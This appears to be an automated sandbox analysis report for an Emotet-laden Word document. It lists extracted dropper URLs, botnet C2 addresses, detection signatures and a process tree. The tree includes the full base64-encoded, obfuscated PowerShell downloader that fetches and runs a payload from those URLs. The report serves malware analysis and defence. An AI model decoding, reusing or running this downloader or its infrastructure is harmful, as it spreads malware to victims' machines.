Analysis

  • max time kernel
    62s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    27/10/2020, 17:17

General

  • Target
    emotet_e2_0d324b35e9e1354566e22c431eb9ee5f36c4ade28ed5acf57bbda93ff7c8c1ed_2020-10-27__171342937398._fpx.doc
  • Size 179KB
  • Sample201027-cvmfenpttx
  • SHA256 0d324b35e9e1354566e22c431eb9ee5f36c4ade28ed5acf57bbda93ff7c8c1ed
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://car4libya.com/cgi-bin/sDBhPqx/

  • exe.dropper

    http://ostranderandassociates.com/var/thpY/

  • exe.dropper

    http://acredales.com/thank_you/U0u9Z/

  • exe.dropper

    http://scw8.net/wp-content/1MkWc/

  • exe.dropper

    https://adinterix.com/laybuy-investors/9Ab6/

  • exe.dropper

    http://uxnew.com/old/9/

  • exe.dropper

    http://www.queensport.nl/accp/dz/

  • exe.dropper

    https://bahamianrelief.org/VpHo/ey/

Extracted

Family
  • emotet

Botnet
  • Epoch2

C2
  • 67.163.161.107:80

  • 107.170.146.252:8080

  • 173.212.214.235:7080

  • 167.114.153.111:8080

  • 185.94.252.104:443

  • 110.142.236.207:80

  • 194.187.133.160:443

  • 218.147.193.146:80

  • 172.104.97.173:8080

  • 216.139.123.119:80

  • 50.91.114.38:80

  • 202.134.4.211:8080

  • 113.61.66.94:80

  • 139.99.158.11:443

  • 62.171.142.179:8080

  • 37.139.21.175:8080

  • 190.108.228.27:443

  • 94.23.237.171:443

  • 154.91.33.137:443

  • 201.241.127.190:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_0d324b35e9e1354566e22c431eb9ee5f36c4ade28ed5acf57bbda93ff7c8c1ed_2020-10-27__171342937398._fpx.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1492
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAFMAZQBUAC0ASQBUAGUATQAgAFYAYQByAEkAQQBiAEwARQA6AE0AQgBPAE4AOAA5ACAAIAAoACAAWwBUAHkAUABlAF0AKAAiAHsAMAB9AHsANAB9AHsAMwB9AHsAMQB9AHsAMgB9ACIALQBmACcAcwAnACwAJwAuAEQASQByACcALAAnAGUAYwBUAG8AUgB5ACcALAAnAGkATwAnACwAJwB5AHMAdABlAG0ALgAnACkAKQA7ACQAYQA0AGcAZQBLACAAPQAgAFsAVABZAHAAZQBdACgAIgB7ADAAfQB7ADYAfQB7ADcAfQB7ADQAfQB7ADgAfQB7ADMAfQB7ADIAfQB7ADEAfQB7ADUAfQAiAC0AZgAgACcAcwBZACcALAAnAEkATgBUAG0AQQBOAEEAZwBlACcALAAnAFAATwAnACwAJwBjAEUAJwAsACcAbgBFAFQAJwAsACcAUgAnACwAJwBzAHQAZQAnACwAJwBtAC4AJwAsACcALgBTAGUAcgBWAEkAJwApADsAJABUAHUAegAzAHEANAA2AD0AKAAoACcARwA3ACcAKwAnAGQAJwApACsAKAAnADUAJwArACcAbwAxAG4AJwApACkAOwAkAEcAXwBqAHUAXwAxAGwAPQAkAEEAcgB4AGoAYQA5AHEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEUANgB0ADEAdQBzAGsAOwAkAE4AZQA1AHEAYgB0ADMAPQAoACgAJwBEAHQAJwArACcANgAnACkAKwAoACcAagBvACcAKwAnADEAJwApACsAJwB4ACcAKQA7ACAAKAB2AGEAcgBJAEEAYgBsAEUAIAAgAE0AQgBPAE4AOAA5ACAAIAAtAFYAQQBsAFUARQBvAG4ATAApADoAOgAiAEMAYABSAEUAYQBUAEUAYABEAGkAcgBFAGAAYwBUAG8AYABSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEQAWAAnACsAJwAxACcAKwAnAE4AXwBqACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcAdQAnACsAJwBEAFgAMQBOADYAcQAnACsAJwB3ADAAJwArACcAegAnACkAKwAoACcAcgBEACcAKwAnAFgAJwApACsAJwAxACcAKQAuACIAcgBlAFAAYABMAGEAYABjAGUAIgAoACgAJwBEAFgAJwArACcAMQAnACkALAAnAFwAJwApACkAKQA7ACQATQAwAHYAcwBjAGgAZQA9ACgAJwBDACcAKwAoACcAaQB4AHcAJwArACcAawAnACkAKwAnAGUAZwAnACkAOwAgACgAIAAgAEMAaABpAEwARABJAFQAZQBNACAAIAB2AEEAcgBJAEEAYgBsAEUAOgBBADQAZwBFAEsAKQAuAHYAYQBMAFUARQA6ADoAIgBzAGAAZQBDAHUAcgBgAEkAdABZAFAAUgBPAGAAVABPAGMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABQAHUAbABqADcAOQBxAD0AKAAnAFMAJwArACgAJwA4AGUAcwBjAGgAJwArACcAYwAnACkAKQA7ACQARgBsAHoAZwBqAGoAYgAgAD0AIAAoACgAJwBGADEAJwArACcAaQB2ACcAKQArACgAJwA5ADQAJwArACcAcwAnACkAKQA7ACQAQQBhAG4ANQA4AGcAcQA9ACgAKAAnAEkAZQAnACsAJwB5ADYAJwApACsAKAAnAHAAbwAnACsAJwA5ACcAKQApADsAJABOAGQANABmAGMAdwAyAD0AKAAoACcARABnAG8AdQAnACsAJwA4ACcAKQArACcAdwAnACsAJwA0ACcAKQA7ACQAUwBtAGUAbQA1AHkAagA9ACQASABPAE0ARQArACgAKAAoACcAYwBTACcAKwAnAGsAJwApACsAJwBOAF8AJwArACgAJwBqAGQAJwArACcAZQAnACkAKwAnAHMAJwArACgAJwB1ACcAKwAnAGMAUwBrACcAKwAnAE4ANgBxAHcAJwApACsAKAAnADAAegAnACsAJwByACcAKwAnAGMAUwBrACcAKQApACAALQBSAEUAUABsAGEAQwBlACAAIAAoAFsAQwBIAGEAcgBdADkAOQArAFsAQwBIAGEAcgBdADgAMwArAFsAQwBIAGEAcgBdADEAMAA3ACkALABbAEMASABhAHIAXQA5ADIAKQArACQARgBsAHoAZwBqAGoAYgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAEIAXwBqADcAdQB4AHYAPQAoACcATAAnACsAKAAnAGUAJwArACcAZgAwACcAKQArACgAJwB0AGkAJwArACcAYQAnACkAKQA7ACQATwBuAG8AXwBxAGkANQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAFQALgBXAGUAYgBjAGwAaQBFAE4AVAA7ACQAUgAzAGkAeQA4AHgANgA9ACgAJwBoACcAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAOgBbACcAKwAnACAAdwBlACAAXQAnACkAKwAoACcAWwAgAHcAJwArACcAZQAnACkAKwAoACcAIABdAGMAYQAnACsAJwByACcAKQArACgAJwA0AGwAaQBiACcAKwAnAHkAYQAnACkAKwAoACcALgAnACsAJwBjAG8AbQBbACAAJwApACsAJwB3ACcAKwAoACcAZQAnACsAJwAgACcAKwAnAF0AJwArACcAYwBnAGkALQBiAGkAbgAnACkAKwAoACcAWwAnACsAJwAgACcAKwAnAHcAZQAgAF0AcwBEAEIAJwApACsAKAAnAGgAJwArACcAUABxACcAKQArACcAeABbACcAKwAoACcAIAAnACsAJwB3AGUAJwApACsAJwAgACcAKwAnAF0AJwArACgAJwBAACcAKwAnAGgAdAB0ACcAKQArACgAJwBwADoAWwAnACsAJwAgACcAKQArACcAdwAnACsAKAAnAGUAIABdAFsAIAB3AGUAJwArACcAIABdACcAKQArACgAJwBvAHMAJwArACcAdAByAGEAJwApACsAJwBuACcAKwAoACcAZABlAHIAJwArACcAYQBuAGQAJwArACcAYQAnACkAKwAoACcAcwBzACcAKwAnAG8AYwAnACsAJwBpAGEAdAAnACsAJwBlAHMAJwApACsAKAAnAC4AYwBvAG0AWwAgAHcAJwArACcAZQAgACcAKwAnAF0AJwApACsAKAAnAHYAYQAnACsAJwByACcAKQArACgAJwBbACAAJwArACcAdwAnACkAKwAoACcAZQAgAF0AdAAnACsAJwBoAHAAWQBbACcAKQArACcAIAB3ACcAKwAoACcAZQAgAF0AJwArACcAQABoACcAKwAnAHQAdABwADoAJwArACcAWwAgACcAKwAnAHcAZQAgAF0AWwAgACcAKQArACgAJwB3AGUAJwArACcAIABdAGEAYwAnACsAJwByAGUAZABhACcAKwAnAGwAZQAnACkAKwAnAHMAJwArACgAJwAuACcAKwAnAGMAbwBtAFsAJwApACsAKAAnACAAdwBlACAAXQAnACsAJwB0ACcAKwAnAGgAJwApACsAJwBhACcAKwAoACcAbgBrACcAKwAnAF8AJwApACsAKAAnAHkAbwAnACsAJwB1ACcAKQArACgAJwBbACcAKwAnACAAdwBlACAAJwApACsAKAAnAF0AVQAnACsAJwAwACcAKQArACgAJwB1ACcAKwAnADkAWgAnACsAJwBbACAAdwBlACcAKwAnACAAXQBAAGgAdAAnACsAJwB0AHAAOgBbACAAdwBlACcAKQArACgAJwAgAF0AWwAgACcAKwAnAHcAJwArACcAZQAgAF0AJwApACsAJwBzACcAKwAnAGMAJwArACgAJwB3ACcAKwAnADgALgBuAGUAdAAnACkAKwAoACcAWwAgAHcAJwArACcAZQAnACkAKwAnACAAXQAnACsAKAAnAHcAcAAtACcAKwAnAGMAbwBuAHQAZQBuACcAKwAnAHQAWwAgAHcAZQAgACcAKQArACgAJwBdADEATQBrACcAKwAnAFcAJwApACsAKAAnAGMAJwArACcAWwAnACsAJwAgAHcAZQAgAF0AQABoACcAKQArACgAJwB0ACcAKwAnAHQAcABzACcAKQArACcAOgBbACcAKwAnACAAJwArACgAJwB3AGUAJwArACcAIABdACcAKQArACcAWwAnACsAJwAgACcAKwAoACcAdwBlACcAKwAnACAAXQBhAGQAaQAnACkAKwAnAG4AJwArACgAJwB0ACcAKwAnAGUAcgBpAHgALgAnACkAKwAoACcAYwBvAG0AWwAgACcAKwAnAHcAJwArACcAZQAnACkAKwAnACAAXQAnACsAKAAnAGwAYQB5ACcAKwAnAGIAdQB5ACcAKwAnAC0AaQBuAHYAJwApACsAKAAnAGUAcwAnACsAJwB0ACcAKwAnAG8AcgBzAFsAJwArACcAIAB3AGUAIABdACcAKwAnADkAQQBiADYAWwAgAHcAJwApACsAKAAnAGUAIABdAEAAaAB0ACcAKwAnAHQAcAAnACsAJwA6AFsAJwArACcAIAAnACkAKwAoACcAdwAnACsAJwBlACAAJwApACsAJwBdACcAKwAoACcAWwAgAHcAZQAgAF0AdQAnACsAJwB4ACcAKwAnAG4AJwApACsAJwBlAHcAJwArACcALgBjACcAKwAoACcAbwAnACsAJwBtAFsAIAB3ACcAKwAnAGUAIABdAG8AJwApACsAKAAnAGwAZABbACAAJwArACcAdwAnACkAKwAoACcAZQAgACcAKwAnAF0AOQBbACcAKQArACcAIAB3ACcAKwAnAGUAJwArACgAJwAgACcAKwAnAF0AQAAnACkAKwAnAGgAdAAnACsAJwB0ACcAKwAoACcAcAA6AFsAJwArACcAIAAnACsAJwB3AGUAIABdACcAKwAnAFsAJwApACsAKAAnACAAdwBlACcAKwAnACAAXQB3AHcAJwApACsAKAAnAHcALgAnACsAJwBxACcAKQArACgAJwB1AGUAJwArACcAZQAnACkAKwAoACcAbgAnACsAJwBzAHAAbwByAHQALgBuACcAKwAnAGwAWwAgAHcAJwArACcAZQAnACsAJwAgAF0AYQAnACsAJwBjAGMAJwApACsAKAAnAHAAWwAgACcAKwAnAHcAZQAnACkAKwAoACcAIABdAGQAegAnACsAJwBbACAAdwAnACsAJwBlACcAKwAnACAAXQAnACsAJwBAAGgAdAAnACsAJwB0AHAAcwA6ACcAKQArACgAJwBbACcAKwAnACAAdwBlACcAKQArACgAJwAgAF0AJwArACcAWwAgAHcAJwArACcAZQAgAF0AYgBhACcAKQArACgAJwBoACcAKwAnAGEAbQAnACkAKwAoACcAaQBhAG4AJwArACcAcgBlACcAKwAnAGwAaQBlAGYAJwApACsAJwAuAG8AJwArACgAJwByAGcAWwAnACsAJwAgAHcAJwArACcAZQAgAF0AJwApACsAKAAnAFYAJwArACcAcAAnACsAJwBIAG8AWwAgAHcAZQAgACcAKwAnAF0AZQB5AFsAIAAnACkAKwAoACcAdwAnACsAJwBlACAAXQAnACkAKQAuACIAcgBgAGUAYABQAGwAYQBDAGUAIgAoACgAJwBbACAAJwArACcAdwBlACcAKwAnACAAXQAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAJwBmAHMAJwApAFsAMABdACkALgAiAFMAYABQAEwAaQB0ACIAKAAkAFUAeQBjADYAXwBtAGoAIAArACAAJABHAF8AagB1AF8AMQBsACAAKwAgACQASABxAHkAMQAzADgAZQApADsAJABJADcANABxAGYAYgBhAD0AKAAoACcATQBrACcAKwAnAHoAMAByACcAKQArACcAMwBuACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQASwAzAGQAeABzAG0ANQAgAGkAbgAgACQAUgAzAGkAeQA4AHgANgApAHsAdAByAHkAewAkAE8AbgBvAF8AcQBpADUALgAiAGQAbwB3AGAATgBsAE8AQQBEAGAARgBJAEwARQAiACgAJABLADMAZAB4AHMAbQA1ACwAIAAkAFMAbQBlAG0ANQB5AGoAKQA7ACQARQB1ADIAaQB1ADAANAA9ACgAJwBTADYAJwArACgAJwB3AGQAJwArACcAMAA3ADIAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQAUwBtAGUAbQA1AHkAagApAC4AIgBMAEUAbgBgAGcAdABoACIAIAAtAGcAZQAgADQAMAA5ADcAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAaQAnACsAKAAnAG4AMwAyAF8AJwArACcAUAAnACkAKwAoACcAcgBvACcAKwAnAGMAZQAnACkAKwAnAHMAcwAnACkAKQAuACIAQwBSAGAAZQBgAEEAVABlACIAKAAkAFMAbQBlAG0ANQB5AGoAKQA7ACQASwB4AHkAcQB2AHoAMwA9ACgAKAAnAEUAbQAnACsAJwAxACcAKQArACcAeABsACcAKwAnADkAcwAnACkAOwBiAHIAZQBhAGsAOwAkAFQAdQBoAGYANwBoAG4APQAoACcAQgAnACsAKAAnADIAJwArACcAawBwACcAKQArACgAJwA4ACcAKwAnADkAeAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAAwAGMAZgB6AHIAdgA9ACgAJwBaAHYAJwArACgAJwBuAHcAZAAnACsAJwBjAG8AJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1688
  • C:\Users\Admin\N_jdesu\N6qw0zr\F1iv94s.exe
    C:\Users\Admin\N_jdesu\N6qw0zr\F1iv94s.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:344
    • C:\Windows\SysWOW64\esentutl\fc.exe
      "C:\Windows\SysWOW64\esentutl\fc.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:820

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/344-12-0x0000000000250000-0x0000000000270000-memory.dmp

        memory/344-13-0x0000000000270000-0x000000000028E000-memory.dmp

        memory/1428-19-0x000007FEF79D0000-0x000007FEF7C4A000-memory.dmp

        memory/1492-1-0x00000000060A0000-0x00000000060A4000-memory.dmp

        memory/1492-2-0x000000000078F000-0x0000000000793000-memory.dmp

        memory/1492-3-0x000000000078F000-0x0000000000793000-memory.dmp

        memory/1492-0-0x000000000078E000-0x000000000078F000-memory.dmp

        memory/1688-4-0x000007FEF5370000-0x000007FEF5D5C000-memory.dmp

        memory/1688-10-0x000000001C320000-0x000000001C321000-memory.dmp

        memory/1688-9-0x000000001B3A0000-0x000000001B3A1000-memory.dmp

        memory/1688-8-0x0000000002360000-0x0000000002361000-memory.dmp

        memory/1688-7-0x000000001B370000-0x000000001B371000-memory.dmp

        memory/1688-6-0x000000001A990000-0x000000001A991000-memory.dmp

        memory/1688-5-0x000000001A8B0000-0x000000001A8B1000-memory.dmp